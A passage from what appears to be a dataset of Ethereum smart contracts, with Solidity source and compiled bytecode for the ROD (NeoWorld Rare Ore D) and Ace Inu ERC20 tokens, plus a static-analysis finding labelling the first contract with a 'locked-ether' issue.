newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenPaused {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public returns (bool) {
paused = true;
emit Pause();
return true;
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public returns (bool) {
paused = false;
emit Unpause();
return true;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and an
// initial fixed supply
// ----------------------------------------------------------------------------
contract ROD is ERC20Interface, Pausable {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function ROD() public {
symbol = "ROD";
name = "NeoWorld Rare Ore D";
decimals = 18;
_totalSupply = 10000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public whenNotPaused returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public whenNotPaused returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function increaseApproval (address _spender, uint _addedValue) public whenNotPaused
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public whenNotPaused
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public whenNotPaused returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public whenNotPaused returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 0x6060604052600436106101035763ffffffff60e060020a60003504166306fdde038114610108578063095ea7b31461019257806318160ddd146101c857806323b872dd146101ed578063313ce567146102155780633eaaf86b1461023e5780633f4ba83a146102515780635c975abb14610264578063661884631461027757806370a082311461029957806379ba5097146102b85780638456cb59146102cd5780638da5cb5b146102e057806395d89b411461030f578063a9059cbb14610322578063cae9ca5114610344578063d4ee1d90146103a9578063d73dd623146103bc578063dc39d06d146103de578063dd62ed3e14610400578063f2fde38b14610425575b600080fd5b341561011357600080fd5b61011b610444565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561015757808201518382015260200161013f565b50505050905090810190601f1680156101845780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561019d57600080fd5b6101b4600160a060020a03600435166024356104e2565b604051901515815260200160405180910390f35b34156101d357600080fd5b6101db610553565b60405190815260200160405180910390f35b34156101f857600080fd5b6101b4600160a060020a0360043581169060243516604435610585565b341561022057600080fd5b6102286106b2565b60405160ff909116815260200160405180910390f35b341561024957600080fd5b6101db6106bb565b341561025c57600080fd5b6101b46106c1565b341561026f57600080fd5b6101b4610745565b341561028257600080fd5b6101b4600160a060020a0360043516602435610755565b34156102a457600080fd5b6101db600160a060020a0360043516610858565b34156102c357600080fd5b6102cb610873565b005b34156102d857600080fd5b6101b4610901565b34156102eb57600080fd5b6102f361098a565b604051600160a060020a03909116815260200160405180910390f35b341561031a57600080fd5b61011b610999565b341561032d57600080fd5b6101b4600160a060020a0360043516602435610a04565b341561034f57600080fd5b6101b460048035600160a060020a03169060248035919060649060443590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610add95505050505050565b34156103b457600080fd5b6102f3610c45565b34156103c757600080fd5b6101b4600160a060020a0360043516602435610c54565b34156103e957600080fd5b6101b4600160a060020a0360043516602435610cfe565b341561040b57600080fd5b6101db600160a060020a0360043581169060243516610d91565b341561043057600080fd5b6102cb600160a060020a0360043516610dbc565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104da5780601f106104af576101008083540402835291602001916104da565b820191906000526020600020905b8154815290600101906020018083116104bd57829003601f168201915b505050505081565b60015460009060a060020a900460ff16156104fc57600080fd5b600160a060020a0333811660008181526007602090815260408083209488168084529490915290819020859055600080516020610e2c8339815191529085905190815260200160405180910390a350600192915050565b6000805260066020527f54cdd369e4e8a8515e52ca72ec816c2101831ad1f18bf44102ed171459c9b4f8546005540390565b60015460009060a060020a900460ff161561059f57600080fd5b600160a060020a0384166000908152600660205260409020546105c8908363ffffffff610e0616565b600160a060020a038086166000908152600660209081526040808320949094556007815283822033909316825291909152205461060b908363ffffffff610e0616565b600160a060020a0380861660009081526007602090815260408083203385168452825280832094909455918616815260069091522054610651908363ffffffff610e1816565b600160a060020a03808516600081815260066020526040908190209390935591908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b60045460ff1681565b60055481565b6000805433600160a060020a039081169116146106dd57600080fd5b60015460a060020a900460ff1615156106f557600080fd5b6001805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a150600190565b60015460a060020a900460ff1681565b600154600090819060a060020a900460ff161561077157600080fd5b50600160a060020a03338116600090815260076020908152604080832093871683529290522054808311156107cd57600160a060020a033381166000908152600760209081526040808320938816835292905290812055610804565b6107dd818463ffffffff610e0616565b600160a060020a033381166000908152600760209081526040808320938916835292905220555b600160a060020a033381166000818152600760209081526040808320948916808452949091529081902054600080516020610e2c833981519152915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526006602052604090205490565b60015433600160a060020a0390811691161461088e57600080fd5b600154600054600160a060020a0391821691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600180546000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b6000805433600160a060020a0390811691161461091d57600080fd5b60015460a060020a900460ff161561093457600080fd5b6001805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a150600190565b600054600160a060020a031681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104da5780601f106104af576101008083540402835291602001916104da565b60015460009060a060020a900460ff1615610a1e57600080fd5b600160a060020a033316600090815260066020526040902054610a47908363ffffffff610e0616565b600160a060020a033381166000908152600660205260408082209390935590851681522054610a7c908363ffffffff610e1816565b600160a060020a0380851660008181526006602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b60015460009060a060020a900460ff1615610af757600080fd5b600160a060020a0333811660008181526007602090815260408083209489168084529490915290819020869055600080516020610e2c8339815191529086905190815260200160405180910390a383600160a060020a0316638f4ffcb1338530866040518563ffffffff1660e060020a0281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610bdd578082015183820152602001610bc5565b50505050905090810190601f168015610c0a5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1515610c2b57600080fd5b5af11515610c3857600080fd5b5060019695505050505050565b600154600160a060020a031681565b60015460009060a060020a900460ff1615610c6e57600080fd5b600160a060020a03338116600090815260076020908152604080832093871683529290522054610ca4908363ffffffff610e1816565b600160a060020a033381166000818152600760209081526040808320948916808452949091529081902084905591929091600080516020610e2c83398151915291905190815260200160405180910390a350600192915050565b6000805433600160a060020a03908116911614610d1a57600080fd5b600054600160a060020a038085169163a9059cbb91168460405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610d7457600080fd5b5af11515610d8157600080fd5b5050506040518051949350505050565b600160a060020a03918216600090815260076020908152604080832093909416825291909152205490565b60005433600160a060020a03908116911614610dd757600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610e1257fe5b50900390565b81810182811015610e2557fe5b9291505056008c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925a165627a7a72305820f8f7b6f0a9bd516abd77632891868a9b90ec91ec215f30b817c8739489f7254e0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 1,137 |
0x0c865fc27febb519272be256eb6ebeb08455b1b4 | /**
*Submitted for verification at Etherscan.io on 2022-01-04
*/
//SPDX-License-Identifier: None
// Telegram: http://t.me/aceinutoken
pragma solidity ^0.8.9;
uint256 constant INITIAL_TAX=10;
uint256 constant TOTAL_SUPPLY=100000000;
string constant TOKEN_SYMBOL="ACEINU";
string constant TOKEN_NAME="Ace Inu";
uint8 constant DECIMALS=6;
uint256 constant TAX_THRESHOLD=1000000000000000000;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract AceInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _burnFee;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_burnFee = 1;
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(50);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<_maxTxAmount,"Transaction amount limited");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeBuyLimit() public onlyOwner{
_maxTxAmount=_tTotal;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function startTrading() external onlyOwner {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106100ec5760003560e01c806351bc3c851161008a57806395d89b411161005957806395d89b4114610267578063a9059cbb14610296578063dd62ed3e146102b6578063f4293890146102fc57600080fd5b806351bc3c85146101f557806370a082311461020a578063715018a61461022a5780638da5cb5b1461023f57600080fd5b806323b872dd116100c657806323b872dd1461018d578063293230b8146101ad578063313ce567146101c45780633e07ce5b146101e057600080fd5b806306fdde03146100f8578063095ea7b31461013a57806318160ddd1461016a57600080fd5b366100f357005b600080fd5b34801561010457600080fd5b5060408051808201909152600781526641636520496e7560c81b60208201525b6040516101319190611313565b60405180910390f35b34801561014657600080fd5b5061015a61015536600461137d565b610311565b6040519015158152602001610131565b34801561017657600080fd5b5061017f610328565b604051908152602001610131565b34801561019957600080fd5b5061015a6101a83660046113a9565b610349565b3480156101b957600080fd5b506101c26103b2565b005b3480156101d057600080fd5b5060405160068152602001610131565b3480156101ec57600080fd5b506101c2610741565b34801561020157600080fd5b506101c261078a565b34801561021657600080fd5b5061017f6102253660046113ea565b6107a0565b34801561023657600080fd5b506101c26107c2565b34801561024b57600080fd5b506000546040516001600160a01b039091168152602001610131565b34801561027357600080fd5b50604080518082019091526006815265414345494e5560d01b6020820152610124565b3480156102a257600080fd5b5061015a6102b136600461137d565b610836565b3480156102c257600080fd5b5061017f6102d1366004611407565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561030857600080fd5b506101c2610843565b600061031e338484610896565b5060015b92915050565b60006103366006600a61153a565b610344906305f5e100611549565b905090565b60006103568484846109ba565b6103a884336103a3856040518060600160405280602881526020016116e3602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610c3f565b610896565b5060019392505050565b6000546001600160a01b031633146103e55760405162461bcd60e51b81526004016103dc90611568565b60405180910390fd5b600c54600160a01b900460ff161561043f5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103dc565b600b5461046b9030906001600160a01b031661045d6006600a61153a565b6103a3906305f5e100611549565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104e2919061159d565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610544573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610568919061159d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105d9919061159d565b600c80546001600160a01b0319166001600160a01b03928316179055600b541663f305d7194730610609816107a0565b60008061061e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610686573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106ab91906115ba565b5050600c805462ff00ff60a01b1981166201000160a01b17909155600b5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561071a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061073e91906115e8565b50565b6000546001600160a01b0316331461076b5760405162461bcd60e51b81526004016103dc90611568565b6107776006600a61153a565b610785906305f5e100611549565b600a55565b6000610795306107a0565b905061073e81610c79565b6001600160a01b03811660009081526002602052604081205461032290610df3565b6000546001600160a01b031633146107ec5760405162461bcd60e51b81526004016103dc90611568565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061031e3384846109ba565b4761073e81610e70565b600061088f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610eae565b9392505050565b6001600160a01b0383166108f85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103dc565b6001600160a01b0382166109595760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103dc565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a1e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103dc565b6001600160a01b038216610a805760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103dc565b60008111610ae25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103dc565b6000546001600160a01b03848116911614801590610b0e57506000546001600160a01b03838116911614155b15610c2f57600c546001600160a01b038481169116148015610b3e5750600b546001600160a01b03838116911614155b8015610b6357506001600160a01b03821660009081526004602052604090205460ff16155b15610bb957600a548110610bb95760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d6974656400000000000060448201526064016103dc565b6000610bc4306107a0565b600c54909150600160a81b900460ff16158015610bef5750600c546001600160a01b03858116911614155b8015610c045750600c54600160b01b900460ff165b15610c2d57610c1281610c79565b47670de0b6b3a76400008110610c2b57610c2b47610e70565b505b505b610c3a838383610edc565b505050565b60008184841115610c635760405162461bcd60e51b81526004016103dc9190611313565b506000610c70848661160a565b95945050505050565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610cc157610cc1611621565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d1a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d3e919061159d565b81600181518110610d5157610d51611621565b6001600160a01b039283166020918202929092010152600b54610d779130911684610896565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610db0908590600090869030904290600401611637565b600060405180830381600087803b158015610dca57600080fd5b505af1158015610dde573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b6000600554821115610e5a5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103dc565b6000610e64610ee7565b905061088f838261084d565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610eaa573d6000803e3d6000fd5b5050565b60008183610ecf5760405162461bcd60e51b81526004016103dc9190611313565b506000610c7084866116a8565b610c3a838383610f0a565b6000806000610ef4611001565b9092509050610f03828261084d565b9250505090565b600080600080600080610f1c87611083565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610f4e90876110e0565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610f7d9086611122565b6001600160a01b038916600090815260026020526040902055610f9f81611181565b610fa984836111cb565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610fee91815260200190565b60405180910390a3505050505050505050565b6005546000908190816110166006600a61153a565b611024906305f5e100611549565b905061104c6110356006600a61153a565b611043906305f5e100611549565b6005549061084d565b82101561107a576005546110626006600a61153a565b611070906305f5e100611549565b9350935050509091565b90939092509050565b60008060008060008060008060006110a08a6007546008546111ef565b92509250925060006110b0610ee7565b905060008060006110c38e878787611244565b919e509c509a509598509396509194505050505091939550919395565b600061088f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c3f565b60008061112f83856116ca565b90508381101561088f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d